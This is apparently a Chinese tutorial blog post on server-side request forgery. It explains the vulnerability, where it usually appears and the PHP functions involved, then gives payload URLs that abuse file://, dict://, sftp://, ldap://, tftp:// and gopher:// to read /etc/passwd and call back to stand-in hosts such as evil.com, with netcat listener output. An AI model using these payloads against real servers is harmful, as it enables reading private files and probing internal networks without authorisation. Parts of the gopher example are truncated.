• 服务器端请求伪造(SSRF)


    概念

    SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造形成的由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要攻击目标网站的内部系统。(因为内部系统无法从外网访问,所以要把目标网站当做中间人来攻击内部系统)

    SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

    正常用户访问网站的流程是:
    输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤),并处理 -->返回用户响应

    比如有个网站请求是www.baidu,com/xxx.php?image=URL
    那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性。而存在SSRF漏洞的服务器可能会忽视对其请求获取图片的参数(image=)的过滤以及限制,导致A网站可以从其他服务器获取数据。

    例如这个url:www.baidu.com/xxx.php?image=www.abc.com/1.jpg
    如果我们将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会返回其他的状态码。

    终极简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法,然后服务器以他的身份来访问其他服务器的资源。

    用途

    那么SSRF 可以做什么呢?

    1. 内外网的端口和服务扫描
    2. 主机本地敏感数据的读取
    3. 内外网主机应用程序漏洞的利用
    4. 内外网Web站点漏洞的利用

    SSRF漏洞的寻找(漏洞常见出没位置)

    1)分享:通过URL地址分享网页内容
    2)转码服务
    3)在线翻译
    4)图片加载与下载:通过URL地址加载或下载图片
    5)图片、文章收藏功能
    6)未公开的api实现以及其他调用URL的功能
    7)从URL关键字中寻找
    share
    wap
    url
    link
    src
    source
    target
    u
    3g
    display
    sourceURl
    imageURL
    domain

    相关函数

    file_get_contents

    在这里插入图片描述

    fsockopen

    在这里插入图片描述
    在这里插入图片描述

    curl_exec

    在这里插入图片描述
    在这里插入图片描述

    SSRF中URL的伪协议

    类型
    file:///
    dict://
    sftp://
    ldap://
    tftp://
    gopher://

    file://

    这种URL Schema可以尝试从文件系统中获取文件:

    http://example.com/ssrf.php?url=file://文件路径
    例如:
    http://example.com/ssrf.php?url=file:///etc/passwd
    http://example.com/ssrf.php?url=file://C:/Windows/win.ini

    dict://

    dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过貌似用的比较少,所以网上基本没啥资料(包括谷歌上)。

    http://example.com/ssrf.php?dict://evil.com:1337/
    
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*]
    accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
    
    • 1
    • 2
    • 3
    • 4
    • 5

    sftp://

    在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

    http://example.com/ssrf.php?url=sftp://evil.com:1337/
    
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*]
    accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
    
    • 1
    • 2
    • 3
    • 4
    • 5

    ldap://或ldaps:// 或ldapi://

    LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

    http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
    http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
    http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
    
    • 1
    • 2
    • 3

    tftp://

    TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

    http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
    
    evil.com:# nc -lvup 1337
    Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
    
    • 1
    • 2
    • 3
    • 4

    gopher://

    gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

    很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。
    gopher的协议格式如下:

    gopher://:/_
    默认为70
    发起多条请求每条要用换行回车去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码
    
    • 1
    • 2
    • 3

    但是gopher协议在各个语言中是有使用限制的。

    语言支持情况
    PHP–wite-curlwrappers且php版本至少为5.3
    Java小于JDK1.7
    Curl低版本不支持
    Perl支持
    ASP.NET小于版本3

    利用方式:

    http://example.com/ssrf.php?url=http://attacker.com/gopher.php
    gopher.php (host it on acttacker.com):-
    
    
    evil.com:# nc -lvp 1337
    Listening on [0.0.0.0] (family 0, port 1337)
    Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
    Hi
    ssrf
    test
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
  • 相关阅读:
    QDir实践
    泰克TDS3054B示波器技术指标
    关于SD-WAN的十问十答(最强攻略戳这里)
    什么是P = NP?问题
    SpringCloudAlibaba——Sentinel
    阿里内部不传之秘:1000页算法刷题笔记
    vue微前端qiankun框架学习到项目实战
    Containerd容器运行时的Kubernetes(K8s)环境搭建
    Docker实践:使用Docker搭建个人开发环境
    【Redis】如何保证Redis缓存与数据库的一致性?
  • 原文地址:https://blog.csdn.net/m0_51507437/article/details/134477179